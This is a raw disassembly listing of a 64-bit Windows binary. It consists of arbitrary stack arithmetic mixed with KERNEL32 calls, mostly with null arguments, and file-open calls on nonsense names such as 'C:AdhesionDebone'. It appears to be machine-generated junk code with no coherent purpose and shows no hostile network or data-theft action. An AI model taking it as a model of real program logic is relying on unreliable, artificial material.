mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8da0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:AdhesionDebone
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x91b0], rax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4390], eax
movzx eax, byte [rsp + 0x54]
mov byte [0x1401e741a], al
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb98]
sub eax, ecx
mov word [rsp + 0xb64], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
lea rax, [rsp + 0x64]
mov qword [rsp + 0x91b8], rax
movsx eax, word [rsp + 0xbc4]
movsx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov word [rsp + 0xbc0], ax
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov dword [rsp + 0x4394], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c18], rax
lea rax, [0x1401e6014]
mov qword [rsp + 0x91c0], rax
movzx eax, word [rsp + 0xbb8]
movzx ecx, word [rsp + 0xb78]
xor eax, ecx
mov word [0x1401e6010], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
shl eax, cl
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
or eax, ecx
mov word [rsp + 0xba4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0xbcc]
mov qword [rsp + 0x91c8], rax
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [rsp + 0x9090]
mov qword [rsp + 0x91d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9048], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0x4380]
mov qword [rsp + 0x91d8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x433c], eax
mov rax, qword [rsp + 0x9188]
mov rcx, qword [rsp + 0x8ff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9160], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x7b9
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x42f0], eax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x62]
and eax, ecx
mov byte [0x1401e601e], al
lea rcx, [rsp + 0x9100]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xbcc]
mov qword [rsp + 0x91e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [0x1401e7428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x54], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x91e8], rax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x9180]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov qword [rsp + 0x91f8], rax
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x9088]
mov ecx, dword [rsp + 0x4344]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c4], eax
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6034], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x9200], rax
movsx eax, word [0x1401e6028]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xb98], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x9208], rax
movzx eax, word [rsp + 0xb94]
movzx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4344]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8c70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0x9180]
mov eax, dword [rax]
mov dword [rsp + 0x4398], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:_sanecamber
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9218], rax
lea rax, [rsp + 0x62]
mov qword [0x1401e7458], rax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x59]
movsx ecx, byte [rsp + 0x64]
shl eax, cl
mov rcx, qword [rsp + 0x91b8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xbd0], ax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb98], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:ShortageHedgingmisreadRespectably
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9220], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
lea rax, [rsp + 0x9160]
mov qword [rsp + 0x9228], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x4348]
mov qword [rsp + 0x9230], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0xb98]
mov qword [0x1401e7460], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba0]
and eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov word [rsp + 0xbd4], ax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4314], eax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov ecx, reloc.COMCTL32.dll_DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4234], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:copycatsAuthentic
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9238], rax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x9240], rax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9188]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x9120]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4394], eax
lea rax, [rsp + 0x4340]
mov qword [rsp + 0x9248], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [0x1401e6020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9168], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x8e78]
movzx eax, word [rax]
mov word [0x1401e7468], ax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x43a0], eax
lea rax, [rsp + 0xbb4]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0x51], al
mov r9d, 2
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8c48]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
mov byte [rsp + 0x68], al
movsx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x91b8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5b], al
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4364]
shr eax, cl
mov dword [rsp + 0x42d4], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0x9258], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8da0]
shl rax, cl
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x43a4], eax
mov rax, qword [0x1401e7458]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68]
xor eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:_separationDisjunctionRemonstrations_sanityKnee
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9260], rax
lea rdx, [rsp + 0x42f4]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x439c], eax
lea rax, [rsp + 0xb74]
mov qword [0x1401e7470], rax
movzx eax, word [rsp + 0xbb4]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9028]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x43a8], eax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
mov rax, qword [rsp + 0x9190]
mov rax, qword [rax]
mov qword [rsp + 0x9268], rax
movzx eax, word [0x1401e6034]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov word [rsp + 0xbb4], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9208]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6006], al
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x6a], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xba8]
and eax, ecx
mov word [rsp + 0xb8c], ax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x67]
add eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
lea rax, [rsp + 0x4388]
mov qword [rsp + 0x9270], rax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
mov rax, qword [rsp + 0x8ff8]
mov qword [rsp + 0x9278], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x43a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x42ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov byte [rsp + 0x6b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7438], ax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x9138]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8dd8]
shl rax, cl
mov rcx, qword [rsp + 0x8f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e10]
mov qword [rsp + 0x9288], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
mov eax, dword [rsp + 0x41d0]
mov ecx, dword [rsp + 0x4340]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4390], eax
mov eax, dword [rsp + 0x424c]
imul eax, dword [section..data]
mov dword [rsp + 0x4394], eax
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xbd8], ax
lea rax, [rsp + 0x5e]
mov qword [0x1401e7478], rax
mov rax, qword [rsp + 0x91f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9028]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, word [0x1401e6028]
mov word [rsp + 0xbdc], ax
movzx eax, word [rsp + 0xbd0]
movzx ecx, word [rsp + 0xbb4]
add eax, ecx
mov word [rsp + 0xb94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:ReiteratesShe_ripped
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9290], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
lea rax, [rsp + 0x9288]
mov qword [rsp + 0x9298], rax
mov rax, qword [rsp + 0x8fc0]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4394]
mov dword [rsp + 0x43ac], eax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0x9128]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e601f], al
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb94], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x92a0], rax
mov rax, qword [rsp + 0x9180]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9130]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x8f68]
mov qword [rsp + 0x92a8], rax
mov eax, dword [rsp + 0x4344]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x9050]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x6b]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e7418], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
movzx eax, byte [0x1401e601f]
mov byte [rsp + 0x6d], al
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x6e], al
movsx eax, word [rsp + 0xba0]
mov rcx, qword [0x1401e7470]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov qword [rsp + 0x92b0], rax
mov eax, dword [0x1401e741c]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbd0]
add eax, ecx
mov word [0x1401e6038], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbb0], ax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x92b8], rax
movzx eax, byte [0x1401e6013]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
lea rax, [rsp + 0x9268]
mov qword [rsp + 0x92c0], rax
mov rax, qword [rsp + 0x8e98]
mov ecx, dword [rsp + 0x4344]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x423c], eax
mov eax, dword [0x1401e6014]
mov dword [rsp + 0x43b4], eax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4314], eax
xor r9d, r9d
lea r8, [rsp + 0x8e48]
mov rdx, qword [rsp + 0x9100]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43b8], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov word [0x1401e7468], ax
mov rax, qword [0x1401e7478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
xor eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov word [rsp + 0xbe0], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [0x1401e6007]
sar eax, cl
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x92c8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8f90]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9120]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f20]
mov qword [rsp + 0x92d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92d0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
lea rax, [rsp + 0x9258]
mov qword [rsp + 0x92d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x92e0], rax
mov eax, dword [rsp + 0x4378]
mov ecx, dword [rsp + 0x4364]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9180]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [0x1401e7418]
and eax, ecx
mov byte [0x1401e602a], al
lea rax, [rsp + 0x6d]
mov qword [rsp + 0x92e8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe0]
sub eax, ecx
mov word [rsp + 0xbd4], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42fc], eax
movsx eax, word [rsp + 0xbc0]
mov rcx, qword [0x1401e7460]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba4], ax
movzx eax, word [rsp + 0xb78]
mov word [rsp + 0xbe4], ax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0x9288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0x92f0], rax
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0x9198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4388], eax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0x92f8], rax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4350], eax
movzx eax, byte [rsp + 0x5d]
mov rcx, qword [0x1401e7458]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7418], al
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x9240]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb9c]
add eax, ecx
mov word [rsp + 0xbcc], ax
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0xbe8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:ChaplaincyMiddleaged
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9300], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
